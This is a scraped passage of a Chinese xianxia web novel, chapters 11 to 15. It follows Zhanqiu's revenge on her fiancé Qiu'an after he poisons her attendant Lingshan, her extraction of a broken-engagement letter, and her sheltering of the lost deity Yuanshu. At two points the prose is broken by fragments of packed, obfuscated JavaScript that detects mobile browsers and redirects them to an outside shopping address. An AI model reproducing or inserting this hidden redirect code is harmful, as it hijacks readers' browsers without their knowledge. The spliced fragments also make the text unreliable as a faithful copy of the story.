灵衫死前一句话也没有留下,只是在最后一刻用尽力气转身,用她那双干净的眼睛默默注视着斩秋,面上难得得浮现出笑容,似乎在庆幸自己护住了殿下,庆幸殿下还活着。 那时斩秋才知道,她不善言辞并非没有感情,她是这世间最真挚忠诚之人。 斩秋从回忆中抽离出来,她的胸口剧烈起伏着,泪水也再抑制不住,如断了线的珠子,滚滚落下:“灵衫……灵衫……” 任凭她如何唤,就是等不来一点儿回应。 “灵衫……你不会有事的,不会有事……我带你回去……”她小心翼翼地拉过灵衫的手臂搭在自己的肩上,另一只手覆在灵衫腰间,用力站起。 转身之际,却被一道挺拔的身影挡住了去路。 斩秋止步,缓缓抬眼望向来者,声音微微颤抖,却能听出话中杀意:“滚开。” 裘安的目光在她面颊还未干透的泪迹上停留片刻,神情虽褪去了笑意,却没升起任何的怜悯:“你不能带她走。” 斩秋目光变得狠戾,一字一顿重复道:“我让你滚!” 裘安将视线挪至她身后,面上一片风轻云淡:“阵已毁,阵中却未抓到人,我和你都没法和阿兄交代。况且,你就算把她带走,你也救不了她。” 说着收回视线,他话锋一转:“不过,有一个人可以救她。” 斩秋听罢渐渐冷静下来。九天之上的确有一人或许能救灵衫,那便是元离神尊。只是她与元离神尊并不亲近,元离神尊不一定会帮她。再者,就算他真的救了灵衫,她也无法让其对此事闭口不谈。 但是裘安可以。 毕竟他是元离神尊最疼爱的徒弟。 “你想要什么?” 她知道裘安不会轻易帮她,否则也不会费心设下此局了。 “那日魔界遗光塔内,百里及春支开我真正的目的是什么?” 话音落下,斩秋面上却无多少惊讶之色。 与裘安预料的相反,她没有丝毫犹豫,直言道:“他要我替他在天宫寻一物件。” “何物?” “回元。”斩秋看着他的眼睛,镇定道。裘安亦看进她那一双漆黑的瞳里,好像在辨别她话中真假。过了一会儿,他又问:“那百里及春开出的筹码又是什么?” 不待她开口回答,裘安复笑着添了一句,“别说是放回三千幽境将士。” “自然不是。”斩秋面无表情地回答,“不过那是我的私事,既与天宫利益无关,你便无需知晓罢。” 裘安听罢略一挑眉,倒是没再追问,继而从袖中掏出一张折好的字条递到她面前:“拿它去找师尊,师尊自会帮你。” 斩秋腾出手来迅速地接过收好,未再看他,径直离开了幽境。 是时邬霖现身走到裘安背后,垂首禀道:“殿下,人带来了。” 裘安应声回首,视线落在了邬霖身后奄奄一息的女子身上,只一眼便转回视线,看向面前那一滩血迹,轻描淡写地应了一声,冷冷道出三字:“拖过去。” - 亥时,岭遥台。 元离神尊看了裘安留的字条后,什么也没问便差人将灵衫带到了岭遥西侧的溪止殿亲自医治。 斩秋站在殿外,目光紧紧盯着眼前的那道门,视线未曾离开半刻。那扇门里,躺着的是她如今在这世上唯一牵挂之人。 血迹在她身上凝结,颜色变得愈发暗沉,一如她此时的面上的神情。 她早知道裘安对她有所怀疑,亦不在乎让他知晓百里及春所求何物。左右她查不清回元究竟是什么,亦不知它被安放于何处,不如就借裘安之力,螳螂捕蝉,黄雀在后。毕竟裘安在天宫查起案来,定是比她要容易得多。 只不过她没想到裘安会以这样的方式来威胁她。是她掉以轻心,以为眼下的裘安还没到丧心病狂、不择手段的地步,却忘了如今除了他们二人的婚事依旧,其余的一切发展都与上一世的走向截然不同,他又怎会如从前一般将这温润郎君的形象演上几十年。 “灵衫……你可千万不能有事……”斩秋徐徐攥紧拳头,眼中揉满了内疚与悔恨,语气微哽。 不知过了多久,面前的门终于开了。只见元离神尊缓缓从中走出,脸上辨不出情绪。 斩秋快步上前,仓皇问:“神尊,她怎么样了?” 见她神色紧张,后者摆了摆手,安抚道:“放心,已无性命之忧。” 斩秋闻言松了口气,忙抬手作礼:“多谢神尊出手相救。” 元离轻轻颔首,引她至偏殿,坐下后目光在她身上停留了片刻,忽然朝她抬起手,指尖一挥,一道虚光从她的头顶洒下,下延至裙摆,将她面上与衣裙的污迹尽数化去。 斩秋愣了一下,随后垂眸瞧了眼衣裙,终于回过神来,复起身再次行礼:“多谢神尊。是我失仪了。” “无碍。”元离摆摆手,不以为意。 话落,二人都没再开口,屋内顿时变得安静下来。 斩秋虽想去看灵衫,但她能察觉到元离神尊有话要与她说。未得他发话,她也不好轻易离开。 少顷,身旁终于响起了他的声音。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633934|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你与安儿相处得如何?” 元离帮灵衫诊治时便已从她的伤势中观出一二,此伤乃由逆生阵法所至,便是出自斩秋之手。不过斩秋自不会让她的人去闯此阵,其中定有一番缘由,且与他那个小徒儿裘安牵扯极深。 他无意过问此事细节,只对斩秋与自己徒儿的关系感到好奇。毕竟他二人的婚事已成定局,可眼下总觉得何处怪异,这才开口问道。 斩秋听的出他并无恶意,反倒有几分出自长辈的关怀,是以微微一笑,模凌两可地回答:“原先还算顺利,只是今日之后……” 她顿了顿,长睫覆下,掩去眸中寒光,作一声苦笑:“怕是有些艰难了。” 元离半知半解地眯起眼眸:“何故?” 见她不语,元离便收回了视线,未再追问。 未几,却听斩秋忽然开口:“若是有人伤了裘安,您会怎么做?” 元离明显愣了愣神,沉思片刻,看向她的眼神变得复杂。 斩秋此问算是回答了他先前的问题,裘安在他心中是何分量,灵衫在她心中便是何等重要。故而有人害之,必将反击。 见他似已无话要说,斩秋不再多留,起身作礼,道:“神尊若无其他的事,我想去看一看灵衫。” 正殿里头焚着沉香,气味有安神之效。 灵衫正躺在床上,阖着双目,此刻的她还未恢复意识,模样乖巧得像一个熟睡的稚童。 斩秋鲜少看见她这般毫无戒备的模样,神情逐渐变得柔软,悄悄在她身旁坐下。 待近了瞧,目光在她手腕处骤然停下。似乎有一道青色的细纹缠绕在腕间。 斩秋伸手轻轻撩起灵衫的衣袖,随着露出的肌肤一起浮现在眼前的,是一道足足一臂长的青纹。她捏着衣袖的手徐徐收紧,这种模样的印记她在上一世曾见过一次,乃毒所致,出自邬霖之手。 先前在幽境时她因灵衫受伤而慌神,没时间去想她是如何被引到阵眼中去的。如今理智回笼,伴随着一同复苏的还有心底的报复之意。 斩秋眸中一番明灭,继而起身退出大殿,踏入一片氤氲月色。 - 翌日,破晓时分,朝云宫内外弥漫着低沉的气息。 宫中仙侍聚集于主殿之上,各个跪倒在地、屏息垂首,浑身不自颤抖着,好似即将遭遇前所未有的劫难。 裘安立于大殿中央,脸色阴沉得快要滴出水来。是时身前一阵步声传来,只见一名男子躬身行礼,禀:“殿下!” “说。” “元离神尊眼下并不在岭遥台。” 裘安闻言凝眉阖目,压抑着声音问他:“师尊去哪了?” “属……属下不知。岭遥台的仙君说,今日没人见过元离神尊。”回禀之人心下一抖,如实答道。 裘安提声喝道:“都给我去找!” 底下众人纷纷应声起身,压低着脑袋倒退几步,不敢抬起眼来,生怕触及殿下盛怒。转身后,几乎是落荒而逃般地跑出了大殿。 他们从未见过殿下此番模样,出了朝云宫后仍心有余悸,不禁加快了步伐,四处奔走。 天宫内其他人瞧见皆觉古怪,有几位心生好奇的小仙意欲上前询问,却都教他们一脸慌张地逃走了。 几番下来,好不容易逮到一个嘴巴不严实的,从中打听出了缘由,原来他们如此着急是要去寻元离神尊救人。 再一细问,更是惊掉了下巴—— 二殿下身边如影随形的神兽邬霖,昨夜遭袭,生死未卜! 12. 第12章 斩秋安安静静地坐在溪止殿内,闭目养神,似乎在等着什么。 此时的殿中空无一人,唯有残留的余香绕鼻,使她眉眼舒展,思绪清明。 只听殿外传来一阵阵杂沓的步声,声音忽近忽远、忽急忽缓,偶尔还从门缝中飘进来些只言片语。她未听全乎,仅仅抓住了几个字眼——“二殿下”以及“元离神尊”。 这些声音来来回回地响起,总也不停歇。 若是平常听见这般吵杂的议论,早教斩秋心生厌烦。可如今这些落入她的耳中,却胜过乐仙佳曲。 约莫一个时辰过去,殿外的话声仍未消减。斩秋这才略显不耐,缓缓睁开眼睛,几欲起身。 可就在她起身的刹那,外面骤然静了下来,宛如一片死寂,落针可闻。 察觉到变化,斩秋欣然停下动作,稍挪视线觑了一眼旁边那扇门,只一眼便收了回来,拿起面前的茶盏轻呷一口,戏谑道:“二殿下怎来得这般迟?邬霖可是丑时受的伤,而眼下都已辰时了。” 话音甫落,耳侧掠过一道劲风,勾起几缕华发扫过脸颊,传来轻微痒意。 只见门被灵力震开,带进了几抹殿外的日光。裘安徐徐迈入殿内,影子倒映在地上的灵木砖上,每靠近一步,地上的黑影便削短一分。 他走到斩秋身前停下,轻垂眼睑,视线落在她略显玩味的脸上。听着她口中熟悉的话语,目光微暗,话声渗着危险的气息:“你这是承认,是你设陷于邬霖了。” 他昨日刚伤了灵衫,夜里邬霖便出了事,无需想也知晓是斩秋所为。只是他委实没料到,她还有那个本事将师尊控制了去。原先只以为师尊是得闲于宫中游走,可他派人翻遍了天宫也未寻得师尊的踪迹,方才恍悟这也是她的手笔。 斩秋抬起头,一双眸直直地回看进他眼底:“是我。” 末了,又勾起唇,她笑道:“可是二殿下有证据吗?如今法阵已破,周围痕迹也被我抹去,二殿下证明不了他是被法阵所伤,如何算得到我头上?” 听罢,裘安的脸色难看到了极点:“师尊在哪?” “缥缈境。” 缥缈境乃她的地盘,其间布满诡阵,非境中人不敢擅闯。哪怕修为再高,若不慎入了阵,只怕也要削了一层皮才能出来。 几乎是话落的瞬间,斩秋忽觉颈上传来一抹滚烫的触感。一股无形的力量扼在她的颈间,并未使多大的力道,却足以让她喉间收紧,形同束缚。 耳边落下他盛满威胁的声音:“你以为我不敢动你吗?” 斩秋并非没有自知之明,知晓如今自己的修为倒退,与他正面对决只有不到七成胜算。但她却不显惧意,反而笑得更深了些。 “我若死了,届时你如何与陛下交代?你方才来的路上应是有不少人瞧见吧,莫非你要将这岭遥台所有人都灭口吗?” 殿内陷入了一片沉寂。 不一会儿,颈上的力道忽然散去,只见裘安挑眉,竟生出淡淡笑意。 他拉开一张椅子在斩秋对面坐下,慢条斯理地整理着衣袖,与方才动怒的模样判若两人。 “其实你与我之间不应该是敌对的关系。毕竟我们立场相同,一切都是为了天界的利益。” 斩秋对他突然转变的态度并不意外,她早就知道裘安的性子。能屈能伸、八面玲珑算是他不可多得的优点。 只是他说真话的频率与他变脸的速度不相上下。 而他此刻的放低姿态也不过是在权衡利弊之后做出的的最优选择。深知这一点的斩秋眉宇流露一丝鄙薄之意,缓声道:“二殿下这是在求和?” “我承认,昨日用灵衫威胁你说出与百里及春之间的交易是我冲动了,我原以为你与魔族勾结,但如今看来是我误会你了。不过你也伤了邬霖,这件事就此扯平,如何?” “二殿下误会我与魔族勾结,不仅重伤了灵衫,也伤了我的心啊。”斩秋垂眸作出一副受伤的神情,声音却无比坚定,“伤了灵衫一事,我已自取补偿。但我心受伤一事,也需要弥补。” “如何弥补?” “退婚。” 裘安显然对这个答案有些意外,抿唇沉思片刻,未置可否。 左右不过是取消一门他也不在意的婚事,于他而言并无任何损失。只是这门婚事终究是父神所赐,他若提出退婚,便是忤逆父神的旨意。 “如今邬霖伤势严重,最多再撑一个时辰,若再不得救治,怕是无力回天。”见裘安迟迟不答,斩秋不禁提醒道。 “一个时辰,且不说父皇是否应允,就算允了,邬霖也撑不到那个时候了。”裘安道。 “无需现在就去叨扰陛下。你先写下退婚书,待从缥缈境归来后,你我二人再一起到陛下面前禀明此事。” 裘安闻言抬眸迎上她的视线,眼中神色晦暗不明。 在他沉默的这片刻间,斩秋心底也闪过几瞬犹疑。 万一自己赌错了,邬霖在裘安心中并没这么重要该如何?毕竟他向来唯利是图,对身边之人毫无真心。 就在她以为裘安还会再谈条件时,却见他唇边倏而漾出一枚浅笑,应下了。 待他写完退婚书后,斩秋将其拿在手中仔仔细细检查了一遍,确认无误后方才卷起放入袖中。收好之后未再拖延,即刻动身带裘安与邬霖前往缥缈境。 缥缈境分为内、外两城,各掌攻、守之效。 斩秋将裘安、邬霖带至外城青书院,再将元离神尊请来此处。事出紧急,元离神尊来不及过问前因后果,忙将邬霖带入屋内诊治。 院中陈设不多,仅一方桌凳立于树下,无甚起眼,却十分舒适。 斩秋平静地坐在石桌旁,悠哉地饮起茶来,仿佛此时屋内并未进行着生死攸关之事,神态与先前在溪止殿外守着灵衫时大相径庭。 屋内躺着的并非她的人,理应如此。该为其感到担忧的是裘安。 可当她扭头欲观后者急态时,入目的却是他侧首看着自己,风轻云淡的模样。 “你是如何哄骗师尊将他带来缥缈境的?”他幽幽开口,语气颇为闲适。仿佛眼下屋内躺着等待救治之人与他毫不相干,他只是来这儿打发时间的。 斩秋微微蹙眉:“你此刻关心的竟是 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殿外侍者见斩秋归来,随即提步相迎,垂首禀道:“殿下,灵衫醒了。” “当真?”斩秋闻言立生喜色,不禁加快了步伐,朝殿内踏去。 只见帷帐间那道素白的身影闻声而立,伸手欲拉帘帐。还未勾到帐延,掌上便传来一阵柔软。 斩秋轻轻握着灵衫的手,神情关切,又喜又忧:“你总算醒了,身体可觉得何处不适?” “殿下,是邬霖引我……”灵衫并不关心自己伤势,一开口便欲言明受袭一事。 话还未说完,便被前者打断:“我都知道了。” 她轻按住灵衫的手,眼底隐约闪过一分仇怨已了的快意:“你放心,他如今的情况不见得比你好。” 灵衫听闻满目不解,又生出几分在她身上少有的惶恐:“殿下这是何意?” 斩秋将昨夜的经过原原本本地告知与她,恐她担忧,特意夸大了自己如何巧妙地在朝云宫内设伏,唯独隐去了引邬霖入阵时险些惊动天帝的险状。 尽管如此,灵衫听罢仍未展眉,反倒愈皱愈紧,轻挣开她的手,扶拳垂首:“是我大意了,才给殿下招来祸端。” 听她这么说,斩秋眉心微颤,眼里俱是心疼。 受伤醒来不关心自己的身体,反而担心给她惹来麻烦,这算怎么一回事? 她当即站起背过身去,佯装怒意斥责道:“眼下连退婚书都已得手,何来祸端一说?你莫要胡思乱想,好好养伤才是。” 灵衫闻言视线一抬,眼中闪过光亮,嘴巴张了张似乎要说什么,转瞬却又覆下眼睫,遮去眸底忧色,未再言语。 半晌,斩秋见身后没了动静,悄悄挪了挪脑袋,意欲瞧她的表情,孰料这时门外传来侍者通禀—— “殿下,境外有客求见。” 斩秋听罢略显狐疑,回首与灵衫交换了个眼色。 如今裘安邬霖等人皆在境中,还有哪儿来的客? 13. 第13章 绕过青书院,从东边穿行,来到外城城墙之下。城门虽敞开着,可门前若隐若现的结界未破,其无甚颜色,仅是泛着淡淡的粼光。 站在结界外的那人穿着斗篷,帽沿压得很低,加之他本就低垂着头,让人瞧不清他的面容。 “你是何人?抬起头来。” 斩秋站在离城门不远的位置,居高临下,看着来者在她的话声中缓缓抬手,摘掉遮挡于额前的黑帽,一点点抬起头来。 午间的日光从一侧打下,落在他棱角分明的脸上,将另一半边脸埋入阴影之中。他的眼神锋利,如出鞘的宝剑透着锋芒,动了动唇,无声道出二字。 “尊上。” 言下之意,是“尊上”派他来此。 而他口中的尊上,正是百里及春。 斩秋倏然色变,猛一挥手将面前清色的结界染为浓墨,出声对外城值守之人喝道:“都转过身去。” 说完身后便响起一道整齐之声,是衣物相磨而出。 这才孤身走进结界,身影融化于一片颜色之中。待走近后,她仔细观察眼前男子的相貌,记忆随之翻涌而来,来者正是魔族将领赤龙。 斩秋蹙起眉,问:“他怎么知道我在这?” 说完不待后者回答,脑海中飞快闪过什么,豁然开朗,自顾自地笑了:“看来天宫之中果然暗伏魔族内应,还监视上我了。” 赤龙闻言挑眉,丝毫不掩眼底得意之色:“我奉尊上之命,前来送一个人。” 他侧了侧身,露出了原本藏在他身后的人。 那人双手被束伏在地上,头发凌乱,面色微白。瞧见眼前的白靴不断靠近,才慢慢提起视线朝上望去,撞进了斩秋那双满是狐疑的眼里。 她瞧此人眼熟,不禁又往前迈了一步,稍稍弯腰观察起他的面容。思忖半晌,终于在魔界短暂停留的记忆中找到了一丝痕迹。 此人不正是裘安那日在魔界找出的仙人么。百里及春果然守诺没有杀他,可是将他带来缥缈境做什么? 她略微眯眸,不解地看向赤龙。 “传尊上的话。”赤龙在她一脸怀疑的表情中清了清嗓子,学着百里及春的口吻,道,“你让本座不要杀他,本座允了。可近日思来想去,总觉此人不该继续留在魔界,便将他带来了。” 斩秋心底滋生不详之感:“这是何意?” “尊上的意思是,此人的命是何人留下的,便应该由何人看管。”赤龙答道。 看管?这是要将此人留在缥缈境,还是带回九重天?无论前者还是后者,皆十分不妥。 此人既是天帝安插于魔界的棋子,天帝自是知晓他的身份。而百里及春以挟持幽境三千天兵为筹码,令裘安亲自找出了此人,却未杀他,于众人眼里已是蹊跷。 如今还将他全须全尾地送回,岂不教人怀疑他的忠心。而斩秋也是那日魔界一事的亲历者,让她把此人带在身边,她又该如何自处? 想到这里,斩秋面容逐渐僵硬。 显然她并不想接这个烫手山芋。 看出她的心思,赤龙一副早已料到的模样,唇边划过一抹森然笑意,对她的称谓也忽然尊敬起来:“尊上吩咐过属下,若发觉您对此事不喜,属下便可将他就地斩决,替神君您解忧一二。” 说着抬手聚起一团幽火于掌心,徐徐朝男子喉间压去。眼看着那团幽火即将贴上男子的肌肤,斩秋忙出声阻道:“慢着!” 纵然觉得此事蹊跷,可她也不想亲手断送一条性命:“代我谢过你家尊上。” 说完便走上前,欲带男子离开,但见地上的影子仍立于原地,不禁眼一抬睨着赤龙:“你家尊上还说了什么,不妨一次道来。” “尊上说,不必言谢。这本就是场交易,只要您别忘了您还欠他一个条件便好。”赤龙笑嘻嘻地说着,朝她轻轻垂首,语气散漫,“人、话皆已带到,告辞。” 最后一字方才落下便见其化身一缕薄烟,很快地消失在她的面前。 斩秋从赤龙离去的方向收回视线,看向脚下的男子,露出一抹难色。 不能带他回天宫,便只能带回缥缈境。可如今裘安也在缥缈境中,若叫他二人碰上面,定是少不了一通口舌,说不准还会被他当作把柄。她好不容易才拿到退婚书,在退婚一事敲定之前,还是谨慎些,少生事端为好。 不禁轻叹一息,她蹲下身去为他解开双手的束缚:“你能站起来吗?” 他未言语,只是摇摇晃晃地站了起来。膝下原本被压在地面的长袍也随着起身的动作被带了出来,膝盖的位置尽是血迹。 斩秋匆匆扫了一眼,并没问他什么,只是抬手从袖间取出一条赤色绸带系于他双目,刻意放缓了脚步,擒着他的手臂朝入城反方向行去:“你随我来。” 缥缈境中有一条密道,可直通内城。她带其从密道而入,本欲往沉宁殿去,忽然想起了什么,脚下一滞,转了个方向,入了最南边的沉无殿。 此处偏僻静谧,也无人侍奉左右,可谓藏人的绝佳之地。 她将人带进前殿,环顾四周还算整洁的摆设,满意地点了点头,取下男子眼前遮挡视线的绸带。 “你且暂住此处,我会遣几个信得过之人前来照料。待我想好应对之策以前,不要让旁人发现你。” 男子没吭声。 斩秋一时无言,不知他是否将她的嘱咐听了进去,静默伫立了良久。 随后她试探地问了句:“你叫什么?” 其实她已经做好听不到回答的准备。毕竟从见到他开始,就没听他开口说过一句话。 不料这回他居然给出了回应。 他的声音低沉,犹如千年的古钟,沉寂沧桑:“元疏。” 斩秋有些惊讶地扬了扬眉,以只有自己能听见的声音轻笑道:“原来不是个哑巴啊。” 再度看向他时,她的目光柔和了些许:“好,元疏,那你在此好生……” “休养”二字还未道出,斩秋话语一顿,眼中蓦地闪过一瞬诧异。 初闻元疏这个名字时她不以为意,可当她亲口唤出这两个字时,方才恍悟此名何等熟悉。 从前的岭遥台和时下不同,并非元离神尊一人执掌,而是有两位主人。一位是元离神尊,另一位则是与他亲如手足的师弟,名唤元疏。 传闻他的疗愈之术远在元离之上,但他不喜成日守在丹炉旁边,反倒更爱修习剑术,是以众仙常能在青云峰寻得他的身影。 斩秋先前在魔界见他时,莫名觉得熟悉,却忆不起。如今想来终是明了,曾经父神带她去青云峰习武场时,与他匆匆见过一面。 可就在不久后,他忽然消失在了三界,了无踪迹。渐渐地,世人也不再提起这个名字,仿佛他从未存在过一般。 神思游走片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633936|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斩秋小声问道:“可是岭遥台的元疏?” 后者不答,眼底却在“岭遥台”三字落下时泛起微波。 斩秋见状了然,目光流转,又停在他膝上:“那你腿上的伤是怎么回事?” 既在疗愈上有通天的本领,怎会被困于区区皮肉之苦?除非…… “你不想治?” “我本是弃子,治与不治有何区别。”元疏覆下眼睫,唇边淡开一抹自嘲的笑意,“其实你不必将我从百里及春手中保下,不管你许诺了他什么,用在我身上都是浪费了。” 诚然,与百里及春做交易,代价定是比寻常更大。她还不知道百里及春的条件是什么就将人留下,确实有些冲动鲁莽。 可看着眼前元疏这般消沉的模样,她并不后悔,只觉心生愤慨。 “没有人该是弃子。”斩秋神情肃穆地说道。 后者闻声掀起眼皮朝她看去,疲惫的面容再次展露了轻微的笑意,似是欣慰,又似悲哀地说着:“小神君年纪尚浅,自是不知何为认命。” “认命”二字着实刺耳,听得斩秋皱起了眉。 上一世她就是愚蠢地认了命,才会落得魂散陨神坛的下场。如今从头来过,她最不需要被告诫的就是认命。 斩秋静静地望着他:“元疏神尊,我虽不知你为何变成如今这副模样,但你现在的样子我很熟悉。你知道失望、悲愤除了人心死,还能如何吗?” 她道:“它还能让你升起反击的念头,我不相信你没有。倘若你真的不在乎这条命,为何活到了现在?” 尖锐一问将他眼底激起层层浪花,但他很快便压了下去,扭头看向一旁。 见他此番模样,斩秋轻叹一息,不欲再与其争辩,转身而去。 走到门边,她顿时想起什么,回首问他:“对了,这几日百里及春将你关押在何处?” 元疏闻言默了片刻,淡然答道:“遗光塔。” 斩秋眸中泛起涟漪,忙追问道。 “那你可曾在塔中见过一个人?” 元疏有些迷茫地将她一望:“什么人?” 见他如此反应,斩秋眼底的希翼逐渐褪去,轻摇了摇首,复嘱咐道:“没什么,你好生修养。” - 出了沉无殿,她没去寻灵衫,而是先去了青书院。踏入院中时,正逢裘安从屋内迈出,见她来,缓缓停下了脚步,驻于门外。 二人隔着几丈的距离,他看着她,没有说话,眼神却像在问她为何折返回来。 自灵衫邬霖一事以后,斩秋与裘安之间算是彻底撕破了脸面,裘安终于不再装出一副温情的模样。 斩秋没往前走,淡然问道:“你何时与我回天宫,向陛下禀明你我二人之事?” 话中所指乃是退婚一事。 裘安不以为意地耸耸肩:“这般着急做什么,邬霖还未醒呢。” “有元离神尊在,他死不了,迟早会醒。” “你既也说了他迟早会醒,何故不再多等一会儿?” 话落,斩秋蹙起眉,提防之意尽显于面。 裘安忽然笑了,一副恍然大悟的模样,语调调侃:“你莫不是怕我反悔吧?” 说着走下屋前的台阶,一步一步朝她走去,他犹在笑着,可话声里早已没了笑意,只余下无尽寒意。 “你放心,凡事我应下之事,断没有反悔的道理。” 14. 第14章 听他这么说,斩秋心下冷笑一声,未作应答。 正在这时,殿门从里面打开,元离的声音沉沉传了出来:“安儿,进来罢。” 裘安闻声不再看她,转身朝殿内步去。 斩秋随即跟上,却见裘安在屋前停了下来,如一堵墙般挡在她的身前。 “怎么,我进不得?” 在自己的地盘上被外人阻拦,于斩秋而言还是头一遭。不由得眯起眸来,几分薄怒,几分稀奇地看向裘安。 后者见状唇角微扬,笑道:“哪里。请。” 斩秋这才收回视线,不紧不慢地迈了进去。见到背身在盥洗旁净手的元离,颔首唤了声:“元离神尊。” 后者缓缓擦拭着双手,头也没回一下,只是轻轻“嗯”了一声以示回应,对她的态度与昨日相比明显冷漠了许多。 毕竟昨日的他还不知道斩秋即将对自己的好徒儿做些什么。如今知晓,亦亲眼目睹了,就连自己也被算计在其中,焉能有好脸色? 是以斩秋并不惊讶。她毫不在意地走到床边,居高临下地瞰了一眼躺在床上的邬霖,神情不辨喜怒。 裘安亦走到床边,目光却片刻都未在邬霖身上停留,只是象征性地问了一句:“师尊,他如何了?” 元离转过身来:“邬霖的伤势虽重,但好在及时保住了本元,已无性命之忧。约莫再过几个时辰便能醒来。” 说完他的视线忽然转到斩秋身上,踌躇了片刻,终是移步向前,走到她身边:“殿下可否借一步说话?” 斩秋原以为经此一遭,元离神尊怕是在将来很长一段时间内都不会搭理她了。故而忍不住抬眼观察起他的神色,发现他并无敌意之后才朝其伸手,微笑回道:“神尊请。” 二人走到偏院,斩秋停下脚步朝正院的方向看了一眼,心中好奇元离特意避开裘安是为了与她说些什么。继而转回头来,大大方方地望着元离,等他开口。 半晌过去,仍未见他有开口的迹象,斩秋不禁感到奇怪,心想究竟是何事这般难以启齿? “不知神尊唤我所谓何事?您直言无妨。” “殿下与安儿……”元离长眉微折,面露为难之色,抿唇半晌方才续道,“本来你们晚辈之间的事,老身也不欲过多打探。可经此一事……” “老身只有一问,殿下与安儿之间的恩怨到这儿可算已了了?” 斩秋听完明白过来,神尊这是在为自己的徒儿试探,想知道她的怨念是否还会进一步发展。 “神尊口中的恩怨若是指二殿下算计重伤我的人……”她点点头,口吻客气平缓,“这一事,的确已了。” 至于旁的事,那还要看他如何做了。 听出她的弦外之音,元离轻叹了口气。 终归是他们二人的事,他也无权插手。只是裘安的性子他明白,哪是能那么轻易认输低头的?除非对方先撒手,否则只怕他宁愿做到两败俱伤也绝不会让对方称心如意。 如今之事看似是前几日种下的果,但安儿未必吃这个教训。如此冤冤相报,何以善终?若斩秋是个肯退让的便也罢了,可偏偏她同样也是个不服输的主。 思及此,元离复叹一声,以长辈的身份语重心长道:“你们二人到底有婚约在身,莫要成为一对怨偶哪。” 看来裘安还未曾告诉他退婚一事。斩秋心道如此也没什么不好,在事情尘埃落定之前,她也不欲大肆宣扬,免得多生事端。 沉默间她忽然想起什么,眸光闪动:“神尊,晚辈也有一事想要向您请教。” “哦?何事?” “神尊先前有一位师弟,名唤元疏。据说当年陛下本欲让他为二殿下师,可为何二殿下最终未拜在他的门下,而是神尊您呢?” 元疏这个名字许久未被提起,忽而听及,元离身形一顿,惊讶道:“殿下怎会突然提起他?” “其实也没什么,只是我与二殿下的婚事定得匆忙,在此之前我们并不相识,于是我便遣人将二殿下的事迹打探了一番。偶然得知二殿下从前与元疏神尊也颇有些渊源,心生好奇罢了。” 她此番回答并无不妥,元离听罢只当她是好奇使然,欲打探自己未来夫婿的往事:“不错,安儿原先的确是要拜在阿疏门下的。只不过……” 他话语稍顿,目光投向远处,思绪悠远,“你既打听过安儿的经历,想必也知晓当年安儿与桦妃居于昌芜郊罢。” 斩秋点点头。 桦妃是裘安的生母,她乃麒麟族的公主,出身尊贵、又一身傲骨。定情于天帝时并不知晓天帝的身份,更不知他已有妻室,奈何得知真相时已怀了天帝的骨肉。 她不愿嫁与天帝,却独自诞下了裘安,与其长居昌芜郊。直到一千年前,灵渊公主逝世,天帝这才派兵将裘安接回天宫团聚。 故而哪怕灵渊公主与天帝未曾成婚,但她毕竟是天宫二殿下的生母,天宫之上众人都唤其桦妃。 “但有一件事,想必你未曾听闻。当年陛下遣兵接安儿回天宫时出了意外,安儿在途径域山时遭到丰鳍族围击,与天兵走散,又在妖界辗转两百余年,方才回到陛下身边。而那时,阿疏已然不见踪迹。” “原来如此。”斩秋闻言轻展眉宇,心中松了口气。 裘安从前在天宫没见过元疏便好。如此哪怕他日后再见到元疏,也只会认为他是当日在魔界找到的仙人罢了。 元离说着心绪又飘到初见裘安时他惶恐又警惕的模样,不由折起眉来长叹一息。 “安儿这一路走来并不顺遂,故而养成了如今这般敏感多疑的性子,但他是个好孩子。”话落他再度看向斩秋,眸间尽显真诚慈善,“老身虽与殿下并不相熟,却也从这几日之事中看出,殿下也是一个重情重义之人。倘若殿下能 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望着泛起波澜的水面,斩秋的眼眸却一点点暗了下来,脑海中蓦然闪过今日城墙之下赤龙那张得意的面庞。 百里及春突然命人将元疏送到缥缈境来,此事本就奇怪。加之他是得天宫内应相告才知晓她回到了缥缈境,那他就也该知道裘安是与她一起回来的。 明知裘安在此若看到她与魔族来往可能引起误会,为何偏偏还要在这个节骨眼上将元疏送来? 想到这里,斩秋心中油然升起一股不妙的预感。 白日里她忙于应对这突如其来的变故,未仔细考虑其中原委。如今认真回想,方觉古怪。 要她将元疏留在身边无非两种选择,一是带回天宫,二是留在缥缈境。可如今她与裘安一并来的缥缈境,她断没有不打声招呼便独自先回天宫的道理,否则定会引起裘安的怀疑。 所以她只能将人暂时藏于缥缈境中,然而裘安就居于外城,要将人带进来,就只能通过密道。 “密道”二字从脑海中浮现的刹那,斩秋的神色倏然一沉,旋即转身朝内城密道的方向奔去。 待行至密道入口前,斩秋来不及多想,很快屏息阖目,双手合于胸前画下一诀,随后从袖间掏出短匕划过指尖。只见血珠大颗大颗向下垂落,落地的刹那,无数红线拔地而起朝空中飞去,又朝着中心聚集交织,宛如一张巨大的网。 彼时她又飞速捏出另一道诀朝前推去,顷刻间所有的红都褪去了颜色化作一片虚无,只余一阵白光朝下闪过。 就在阵法还差最后一笔时,她的身后陡然响起一道玩味的声音,听得她身躯一震。 “筋杀阵。” 来者话声散漫,语调中透着慵懒的笑意,扬声道。 “看来斩秋上神是没打算给本座留活路啊。” 15. 第15章 斩秋缓缓转过身去,视线迎上声音的主人。 